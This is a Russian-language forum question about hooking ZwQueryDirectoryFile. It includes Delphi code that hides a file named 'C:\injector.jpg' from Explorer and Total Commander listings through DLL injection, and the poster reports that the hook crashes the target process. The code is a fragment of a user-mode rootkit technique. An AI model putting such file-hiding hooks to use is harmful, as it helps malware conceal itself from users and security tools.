Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

ZwQueryDirectoryFile hooking

47K
11 июня 2010 года
Matvet
22 / / 06.02.2010
Здравствуйте. Я тут прочитал статью Ms-Rem'a про перехват API (http://www.wasm.ru/article.php?article=apihook_1). Попробовал перехватывать некоторые функции - получилось. (ShellExecuteExA,W,MessageBox, etc). Разобрался с ZwQuerySystemInformation, решил попробовать скрыть файлы.
Вот код обработчика функции:
Код:
function NewZwQueryDirectoryFile(FileHandle: dword;
                              Event: dword;
                              ApcRoutine: pointer;
                              ApcContext: pointer;
                              IoStatusBlock: pointer;
                              FileInformation: pointer;
                              FileInformationLength: dword;
                              FileInformationClass: dword;
                              ReturnSingleEntry: bool;
                              FileName: PUnicodeString;
                              RestartScan: bool): NTStatus;
                              stdcall;

var
info,Prev:PFILE_BOTH_DIRECTORY_INFORMATION;
begin
result:=TrueZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
if (FileInformationClass=3) and (result=STATUS_SUCCESS) then
begin
Info:=FileInformation;
while info.NextEntryOffset>0 do
 begin
 Prev:=Info;
 Info:=pointer(dword(info)+info.NextEntryOffset);
 if lstrcmpiw(Info.FileName,'C:\injector.jpg')=0
  then
   begin
    Prev.NextEntryOffset:=Prev.NextEntryOffset+Info.NextEntryOffset;
    info.Unknown:=Prev.Unknown;
   end;
 end;
end;
end;

Опытным путем было установлено, что при просмотре папок FileInformationClass = 3
Но блин, внедряю библиотеку в explorer.exe/totalcmd.exe/etc - процесс вылетает. Что я блин опять неправильно сделал?
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог